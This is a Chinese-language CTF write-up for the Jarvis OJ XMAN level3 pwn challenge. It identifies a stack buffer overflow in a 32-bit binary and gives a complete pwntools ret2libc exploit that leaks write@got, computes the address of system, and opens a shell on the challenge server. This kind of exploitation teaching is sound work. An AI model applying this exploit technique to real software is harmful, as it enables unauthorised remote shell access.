XMAN-level3

Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level3.

题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。

首先使用 file 命令查看文件

file ./level3
./level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped

程序是32位 ELF 文件

使用 checksec 查看文件保护机制 (gdb peda插件

gdb ./level3

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial  

程序启用了 NX (栈不可执行)

用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞

ssize_t vulnerable_function()
{
    char buf; // [sp+0h] [bp-88h]@1

    write(1, "Input:\n", 7u);
    return read(0, &buf, 0x100u);
}

程序并开启了 NX 保护机制,因此栈中的代码不可执行。而且程序没有使用 system 函数。我们要做的就是找到 system 函数的地址。

由于 system 函数在 libc.so 中,而且题目给出了程序使用的 libc.so,因此我们可以找到 system 函数的偏移。我们只要找到 libc.so 中一个函数的地址,就可以通过偏移计算出 system 函数的地址。程序中使用了 readwrite 函数,可以利用延迟绑定原理,使用 write 函数输出 write@got 地址,再通过偏移计算出 system 函数的地址。

要注意的是,在本地测试时程序使用的 libc.so 并非题目提供的,可以使用 ldd 工具查看程序使用的 libc.so

ldd level3
    linux-gate.so.1 =>  (0xf77ab000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75d8000)
    /lib/ld-linux.so.2 (0x56576000)

使用 pwntools 编写 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys

from pwn import *

def main(local=False):
    if local:
        context.log_level = 'debug'
        io = process('./level3')
        libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    else:
        context.log_level = 'info'
        io = remote('pwn2.jarvisoj.com', 9879)
        libc = ELF('./libc-2.19.so')

    elf = ELF('./level3')

    # offset in libc.so
    system_offset = libc.symbols['system']
    write_offset = libc.symbols['write']
    binsh_offset = libc.search('/bin/sh').next()

    # symbol in level3
    vulnerable_function_addr = elf.symbols['vulnerable_function']
    write_plt = elf.plt['write']
    write_got = elf.got['write']

    # write(1, write_plt, 4)
    payload = 'A' * 140
    payload += p32(write_plt)
    payload += p32(vulnerable_function_addr)
    payload += p32(1)
    payload += p32(write_got)
    payload += p32(4)

    io.recvuntil('Input:\n')
    io.sendline(payload)
    write_addr = u32(io.recv(4))

    system_addr = write_addr + system_offset - write_offset
    binsh_addr = write_addr + binsh_offset - write_offset

    # system('/bin/sh')
    payload = 'A' * 140
    payload += p32(system_addr)
    payload += p32(vulnerable_function_addr)
    payload += p32(binsh_addr)

    io.recvuntil('Input:\n')
    io.sendline(payload)

    io.interactive()

if __name__ == '__main__':
    if len(sys.argv) >= 2 and sys.argv[1] == 'local':
        main(True)
    else:
        main()

reference
一步一步学ROP之linux_x86篇
一步一步学ROP之linux_x64篇

0%